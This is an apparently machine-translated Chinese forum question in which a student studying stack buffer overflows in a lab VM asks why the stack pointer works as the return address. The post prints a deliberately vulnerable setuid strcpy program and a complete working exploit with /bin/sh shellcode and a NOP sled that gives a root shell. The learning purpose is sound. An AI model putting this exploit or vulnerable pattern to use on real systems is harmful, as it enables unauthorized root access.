我是一名正在研究堆栈缓冲区溢出如何工作的计算机工程学生。我正在阅读的书是Jon Erickson的“剥削艺术(第1版)”。 为了练习我正在学习的内容,我在虚拟机中安装了Damn Vulnerable Linux发行版。我已经禁用ASRL(kernel.randomize_va_space = 0),我已经编译了以下代码:GCC 3.4.6,我正在使用GDB 6.6并且分发的内核是2.6.20。我的电脑有一个Intel处理器。 易受攻击的程序(test2)由root创建并设置为setuid。缓冲区溢出esp偏移量
易受攻击的代码如下:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
虽然利用代码,由正常(非根)用户创建,如下:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
程序工作,它利用了test2中的缓冲区溢出漏洞,并为我提供了一个root shell。 我不明白,即使在多次阅读本书并尝试在互联网上找到答案后,我们存储在变量esp中的堆栈指针的值是我们的shellcode的返回地址。我用GDB反汇编了这个程序,一切都按照作者的说法工作,但我不明白为什么会发生这种情况。
我希望向您展示如何在执行期间反汇编程序看起来像内存看起来像,但我不能从虚拟机上的来宾机复制/粘贴,我不允许插入图像我的问题。因此,我只能描述执行程序main(在test2中利用BOF的那个)时发生了什么:
反汇编main,我看到28字节分配在堆栈上(7个变量* 4字节) 。然后调用函数sp()并将堆栈指针的值存储在esp中。存储在变量esp中的值是0xbffff344。然后,你可以看到,我们有一些printf,我们将有效载荷存储在buffer2中,然后我们调用传递buffer2作为参数的execl函数。
现在出现root shell,然后程序退出。在设置不同的偏移量之后拆分程序,我可以清楚地看到0xbffff344恰恰是执行test2时存储有效负载的地址。你能向我解释这是怎么发生的? execl是否为test2程序设置了一个新的堆栈框架?在main.c中,只有28个字节分配在堆栈上,而test2中的500个字节分配在堆栈上(对于buffer2)。那么我怎么知道我在main.c中得到的堆栈指针正好是shellcode的返回地址呢?
如果我写了一些愚蠢的东西,我感谢你并道歉。
感谢您的答复。我同意你的答案,我会像你这样计算偏移量:esp-500 + 28。令我吃惊的是,即使offset = 0,gdb也证实了这个漏洞。还有一件事:当我在exploit程序的执行过程中使用gdb来检查内存时,我发现堆栈上似乎确实存在两个“缓冲区”(带有NOP,shellcode和rets)。第一个从存储在变量“esp”中的地址开始,而另一个存储在堆栈中的较低地址处(似乎后者是脆弱函数的实际本地缓冲区)。有关这个事实的任何想法? – condorwasabi
与我们将指针传递给函数execl的指针有什么关系?我在考虑:考虑到在execl结束并且利用缓冲区存储在堆中(当我们在exploit程序中构建它时),存储在堆上的数据“丢失”,当我们将“buffer2”传递给execl时,我们传递指向堆中存储的内容将丢失的指针。也许execl会复制堆栈上的所有漏洞缓冲区并由于某种原因(重合?),此缓冲区将从存储在“esp”中的地址开始,这也是我们传递给execl的第三个参数的地址。 – condorwasabi
哪里/什么时候你看到栈上有两个缓冲区? Afaik传统的strcpy实现只与一些本地指针/索引一起工作(查看[link](http://sourceware.org/git/?p=glibc.git))。所以这不太可能是因为strcpy本地缓冲区。一件好事可能是在strcpy函数中设置一个断点(break strcpy)并自己查看指令和堆栈/寄存器。例如,在我的机器上,stdlib是用SSE2支持编译的,两个参数是通过寄存器传递的。所以这真的是平台的依赖。 – dna